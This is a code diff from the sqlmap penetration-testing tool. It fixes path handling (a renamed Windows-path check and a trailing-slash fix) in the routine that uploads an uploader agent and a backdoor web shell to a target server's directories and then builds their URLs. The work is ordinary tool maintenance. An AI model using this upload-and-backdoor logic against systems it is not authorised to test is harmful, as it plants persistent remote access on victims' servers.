3333from lib .core .common import getDirs
3434from lib .core .common import getDocRoot
3535from lib .core .common import ntToPosixSlashes
36- from lib .core .common import isWindowsPath
36+ from lib .core .common import isWindowsDriveLetterPath
3737from lib .core .common import normalizePath
3838from lib .core .common import posixToNtSlashes
3939from lib .core .common import randomStr
@@ -170,24 +170,26 @@ def webInit(self):
170170 backdoorName = "tmpb%s.%s" % (randomStr (lowercase = True ), self .webApi )
171171 backdoorStream = decloakToNamedTemporaryFile (os .path .join (paths .SQLMAP_SHELL_PATH , "backdoor.%s_" % self .webApi ), backdoorName )
172172 originalBackdoorContent = backdoorContent = backdoorStream .read ()
173-
173+
174174 uploaderName = "tmpu%s.%s" % (randomStr (lowercase = True ), self .webApi )
175175 uploaderContent = decloak (os .path .join (paths .SQLMAP_SHELL_PATH , "uploader.%s_" % self .webApi ))
176-
176+
177177 for directory in directories :
178178 # Upload the uploader agent
179179 self .__webFileInject (uploaderContent , uploaderName , directory )
180-
181- requestDir = ntToPosixSlashes (directory ).replace (ntToPosixSlashes (kb .docRoot ), "/" )
182- if isWindowsPath (requestDir ):
180+ requestDir = ntToPosixSlashes (directory )
181+ if requestDir [- 1 ] != '/' :
182+ requestDir += '/'
183+ requestDir = requestDir .replace (ntToPosixSlashes (kb .docRoot ), "/" )
184+ if isWindowsDriveLetterPath (requestDir ):
183185 requestDir = requestDir [2 :]
184186 requestDir = normalizePath (requestDir )
185-
187+
186188 self .webBaseUrl = "%s://%s:%d%s" % (conf .scheme , conf .hostname , conf .port , requestDir )
187189 self .webUploaderUrl = "%s/%s" % (self .webBaseUrl .rstrip ('/' ), uploaderName )
188190 self .webUploaderUrl = ntToPosixSlashes (self .webUploaderUrl .replace ("./" , "/" ))
189191 uplPage , _ = Request .getPage (url = self .webUploaderUrl , direct = True , raise404 = False )
190-
192+
191193 if "sqlmap file uploader" not in uplPage :
192194 warnMsg = "unable to upload the uploader "
193195 warnMsg += "agent on '%s'" % directory
@@ -198,7 +200,7 @@ def webInit(self):
198200 infoMsg = "the uploader agent has been successfully uploaded "
199201 infoMsg += "on '%s' ('%s')" % (directory , self .webUploaderUrl )
200202 logger .info (infoMsg )
201-
203+
202204 if self .webApi == "asp" :
203205 runcmdName = "tmpe%s.exe" % randomStr (lowercase = True )
204206 runcmdStream = decloakToNamedTemporaryFile (os .path .join (paths .SQLMAP_SHELL_PATH , 'runcmd.exe_' ), runcmdName )
0 commit comments